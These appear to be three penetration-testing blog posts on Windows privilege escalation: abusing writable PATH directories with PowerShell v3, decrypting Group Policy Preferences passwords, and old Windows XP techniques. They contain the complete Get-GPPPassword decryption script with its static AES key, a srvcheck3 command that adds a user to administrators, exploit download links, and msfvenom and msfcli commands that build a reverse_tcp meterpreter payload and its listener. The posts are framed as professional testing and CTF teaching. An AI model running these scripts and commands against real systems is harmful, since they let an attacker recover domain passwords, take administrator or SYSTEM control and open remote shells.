The $env:PATH Less Traveled: Subverting Trust with 3rd-Party Applications

Some of easiest and most effective privilege escalation attacks don't rely on vulnerabilities, but rather on misconfigurations. One common misconfiguration that is often overlooked by testers involves the Windows environment variable PATH. The PATH is considered a trusted part of the operating system. The PATH is consulted by nearly every application on a running system and one rogue entry is all that is needed to take administrative control of a system.

What happens when a 3rd-party application writes its installation directory to the PATH? If the NTFS permissions of the directory aren't properly applied, then that software has a clear vulnerability. But what if they only recommend that YOU place their insecure directories in the PATH? No vulnerability to report except the one that is now on your system. Generally, an attack against Windows that leverages a 3rd-party application isn't considered a vulnerability according to their "10 Immutable Laws of Security". So its not Microsoft's fault and its not the vendor's fault.

If at this point you are thinking "Oh great, another DLL-preloading write-up...", please hold on. Although that is still a very common and valid attack, this is slightly different. Lets see what happens when the Python installation meets a feature (or flaw) of PowerShell v3 which allows us to potentially privilege escalate in a multi-user environment.

First, lets install Python on a Windows 7 machine with appropriate WMF installed.

Now we can follow the recommendation to add Python to the PATH environment thereby making our machine more vulnerable to privilege escalation attacks. To be clear, we are already vulnerable due to default permissions of the installer. Any user can replace a binary and wait for another user or process to execute python. I have successfully attacked this scenario before in an engagement, but it relies on the binary being used by a more privileged account. It could also introduce other DLL preloading opportunities to binaries that wouldn't otherwise have them (its been a fun challenge to figure out how to reliably find these conditions with a script). Those binaries could be services which could be leveraged with a simple file write and reboot without the admin interaction requirement.

Now as a low-privilege user we can write anything we want to the 'C:\Python' directory. We want to elevate our privileges on a modern Windows system and have exhausted other methods. Here is where the bug in PowerShell v3 becomes useful. Anytime you interact with the PowerShell console, either with enter or tab, the PATH is searched for the existence of 'PSConsoleHostReadline'. You can read more about why that feature was introduced here. Here is what it looks like in Process Monitor:

Now we need to create a simple function and drop a PSConsoleHostReadline.CMD (or any of the extensions in the screenshot above) into any of the searched Python directories.

What command should we run? My first thought was to use the one described here. But the problem is that once PowerShell is run, it will attempt to execute the file each time a line is entered. That would be problematic and could potentially put it in a loop. It can be done, but for simplicity lets take our limited user account and add it to the administrators group. Once an administrator invokes PowerShell.exe on the box:

Escalation achieved.

So in order for this particular attack to work, it would require:

     1. An application that installs with insecure permissions (such as the default at 'C:\').
     2. That application's path being added to the PATH either by the install or after.
     3. PowerShell being at Version 3 (default on Windows 8).
     4. A privileged account executing PowerShell on the box.

Maybe this scenario is a bit far-fetched, but let me assure you that there are lots of applications that automatically add themselves to PATH and allow "Authenticated Users" to write to their directory. To see how common this and other permissions-based vulnerabilities are, I tested the new functions against over 1000 common Windows installations. The result has me buried in the disclosure process with several projects. My hope is to reference this blog post to speed things along enough to present my findings (with references to the vulnerable software) at a conference or two this Summer and Fall. I also look forward to polishing the scripts up so they can be integrated with PowerSploit this Spring.

Lastly, this post came about from a series of discussions with Matt about the new privilege escalation functions that will be added to PowerSploit and the about the PATH. He discovered the potential for misuse of the feature in PowerShell and reported it to Microsoft a year ago (it was subsequently removed from version 4 of PowerShell). He also brought up a few other potential attack vectors like PowerShell profiles and modules. After all, this is just one example of how applications that subvert the trusted PATH can be exploited.

-Chris

GPP Password Retrieval with PowerShell

Last week, I read a great post entitled "Exploiting Windows 2008 Group Policy Preferences" that I wish I saw sooner.  The article included a nice Python script to accomplish the task of decrypting passwords that were set using the GPP feature in Windows 2008 domains.  However, it looked like something that would be handy to have in a PowerShell script.  Before I continue, I would like to point out the updated disclaimer, it certainly applies to this post.

You should read the original article, but the quick summary is that its possible for any authenticated user (this includes machine accounts) on the domain to decrypt passwords that are enforced with Windows 2008 Group Policy Preferences.  From my experience, this practice is common for larger domains which need to set different local administrator ("500" account) passwords for different OUs.

Python is an excellent scripting language, but PowerShell has two notable advantages in this specific use-case.  First, PowerShell does not require any additional libraries since it has access to the entire .NET framework.  Second, PowerShell is installed by default on all modern Windows systems to include Windows Server 2008 so it can be used right from the machine you are on.

The following Get-GPPPassword PowerShell script can be used by penetration testers to elevate to local administrator privileges (on your way to Domain Admin) by downloading the "groups.xml" file from the domain controller and passing it to the script.  The files are typically found in:

\\domain\SYSVOL\domain\Policies\{*}\Machine\Preferences\Groups\Groups.xml

Get-GPPPassword (Use Updated Version)
<# function Get-GPPPassword { <# .Synopsis Get-GPPPassword retrieves the plaintext password for accounts pushed through Group Policy in groups.xml. Author: Chris Campbell (@obscuresec) License: GNU GPL v2 .Description Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password. .Parameter Path The path to the targeted groups.xml file. .Example Get-GPPPassword -path c:\demo\groups.xml .Link http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html #> Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path = "$PWD\groups.xml" ) #Function to pull encrypted password string from groups.xml function Parse-cPassword { try { [xml] $Xml = Get-Content ($Path) [String] $Cpassword = $Xml.Groups.User.Properties.cpassword } catch { Write-Error "No Password Policy Found in File!" } return $Cpassword } #Function to look to see if the administrator account is given a newname function Parse-NewName { [xml] $Xml = Get-Content ($Path) [String] $NewName = $Xml.Groups.User.Properties.newName return $NewName } #Function to parse out the Username whose password is being specified function Parse-UserName { try { [xml] $Xml = Get-Content ($Path) [string] $UserName = $Xml.Groups.User.Properties.userName } catch { Write-Error "No Username Specified in File!" } return $UserName } #Function that decodes and decrypts password function Decrypt-Password { try { #Append appropriate padding based on string length $Pad = "=" * (4 - ($Cpassword.length % 4)) $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad) #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } catch { Write-Error "Decryption Failed!" } } $Cpassword = Parse-cPassword $Password = Decrypt-Password $NewName = Parse-NewName $UserName = Parse-UserName $Results = New-Object System.Object Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password return $Results

To run the function, just copy and paste the text into powershell and type 'Get-GPPPassword'. This will in effect bypass the ExecutionPolicy.

Writing this script ended up not being as easy as I originally thought mostly due to never dealing with .NET and crypto before.  I would like to thank Matt Graeber for solving the null IV issue, Mike Santiago for general code improvements and of course Emilien Giraul (and the Sogeti ESEC Pentest team for their detailed writeup).

Try it out and let me know what you think.

***Update 26 May 2012***
You can also download the maintained version of the script from the PowerSploit repository on GitHub.  It already has some great scripts for Windows post-exploitation on it!

***Update 16 June 2012***
Updated the script block with the improvements from Matt Graeber.  Matt wrapped it into a function and apparently saved a puppy by creating a new object (avoiding the use of write-host).

***Update 3 July 2013***
I have reorganized and rewritten the script. You can find the updated version and read about it here.
-Chris

Old Privilege Escalation Techniques

One of my pet-peeves when it comes to "ethical hacker" training is that it is normally outdated and irrelevant. Teaching students how to use hacking "tools" from 2001 creates misinformed professionals and increases the number of low-skilled, highly-certified people in our industry. Truthfully, it’s been years since I last saw an unpatched Windows XP machine without AV on an engagement. I am aware of exceptions such as stand-alone workstations and SCADA systems, but generally machines shouldn't receive a pentest if they aren’t at least patched.

With that said, this post contains nothing new, fresh or possibly even relevant. I was prompted to write it after a few discussions with people who are preparing for upcoming CTFs. This is just a collection of old privilege escalation methods for unpatched Windows XP through SP2 workstations which may or may not be helpful. Some methods work better than others and many rely on vulnerabilities that have long been patched. If you are looking for new and exciting exploitation techniques, go here.

An older vulnerability that I do continue to see quite regularly is in the RealVNC product. RealVNC is a remote administration tool and typically listens on 5900. To scan for VNC and check for the RealVNC authentication bypass vulnerability with Nmap:

nmap -Pn -p5900 x.x.x.x --script=realvnc-auth-bypass

It may be important to note that RealVNC also hosts a java-based webserver on port 5800. This target machine is most likely vulnerable according to Nmap. There are several "patched" versions of the VNC client which allow you take advantage of the vulnerability. You can download one here or read more about the vulnerability here.

Disclaimer: Links provided on this site are for research purposes only. Always exercise caution when downloading code from the internet, especially hack tools.

Once you've downloaded and vetted the exploit, you can run it in Linux with wine.

Enter the IP address of the target and you will likely be presented with a view of the currently logged-in user's desktop. The only thing the active user will see is the RealVNC icon in the bottom right corner turn black. They will also be able to quickly get the IP address that is connected. If you encounter this vulnerability on a real engagement, you should probably have a plan to quickly convert this access to a more stealthy method.

Another note is that several commercial security products such as Symantec Endpoint Protection detect and block this attack.

Now that we have GUI access to the machine, let’s find out more about the account and privileges we currently have. Windows XP lacks the "whoami" binary, but with GUI accesss we can see the user by clicking the "start" button. The following "net" command lets us know that we are just a limited user:

net user joe.user

We can see what service packs are installed by checking the system properties.

There are several methods for introducing code to the machine, but the easiest method in this scenario is with IE or any other browser. Let’s grab a few exploits from:

http://packetstormsecurity.org/files/download/85449/KiTrap0D.zip
http://www.tarasco.org/security/srvcheck/srvcheck3.zip
http://exploit-db.com/sploits/2008-MS08-067.rar

Vet the code. Then throw them in a zip to be introduced onto the target machine.

Once we have uploaded our zip file with the binaries we can get started with the demo. The first method can be used from nearly any privilege level in order to reach "NT Authority\System" privileges. Simply upload the compiled KiTrap0d exploit along with the vdmexploit.dll and execute it. It works great for this scenario, but if you are attempting to use it through other attack vectors - you will likely have to make some minor adjustments to the code and recompile it.

This vulnerability was patched by MS10-015 , but the exploit continues to be extremely reliable when a machine has not been patched properly.

Another older method of escalation involves insecure permissions on services in Windows XP SP1 and Server 2003 (pre-SP1). Srvcheck3 is a tool which can scan for and exploit these permissions. For example, below is the output of "srvcheck3.exe -l" on a Windows XP SP1 machine.

You can then use srvcheck3 to exploit the service with the following syntax: 

srvcheck3.exe -m upnphost -H 127.0.0.1 -c "cmd.exe /c net localgroup administrators joe.user /add" 

This method will not work against our XP SP2 demo target, but we successfully added our limited user to the administrators group on the XP SP1 machine.

Another generic privilege escalation method is to find a remote exploit such as MS08-067 or MS03-026, compile it and target it at 127.0.0.1. This method can be extremely effective in lab settings and CTFs. Just be mindful of your target and ensure that the exploit is properly suited for it. For example, some public exploits aren't written to work against NX targets.

You can clearly see the targets that are available for the DCOM exploit in the screenshot below:

The methods discussed above can be used to escalate from user-level privileges to System, but what if you have administrator privileges and you want to get to System? There are a few easy methods on pre-Vista machines, but one example method is to use the "At" scheduler.

The "at" command is deprecated but works just fine against XP/2K3 targets. First we ensure that the scheduler service is running. If not, we would issue the "net start schedule" command. Next, we find out the system time and finally we schedule our task to run interactively a few minutes in the future. This particular syntax works against XP, but your mileage may vary against different service pack levels of Server 2K3.

In this example we had it pop up a system-level cmd.exe interactively, but you will likely find more use out of having it execute some other command or executable.

Of course if I was presented with this general scenario on a real engagement, I would use the Metasploit framework.  Since our unpatched XP target doesn't have PowerShell installed, we will have to generate an executable with Metasploit.  Most AV products will flag a meterpreter payload as malicious, but in this case there isn't an AV product installed. 

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikate_ga_nai -b '\x00' -i 4 -f exe LHOST=x.x.x.x LPORT=443 >> /root/Desktop/demo.exe

Next we can download our exe through IE and execute it.  From the user-level process, we can run the "getsystem" post exploitation module.

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=443 E

As you can see, "technique 4" was used.  Technique 4 is the Kitrap0d attack discussed earlier implemented in the 'priv' extension of meterpreter.  If we had administrative privileges, it would have been successful with a different technique.

Finally, thank you to all of the researchers who discovered these vulnerabilities and went through the pain of disclosing them properly.

-Chris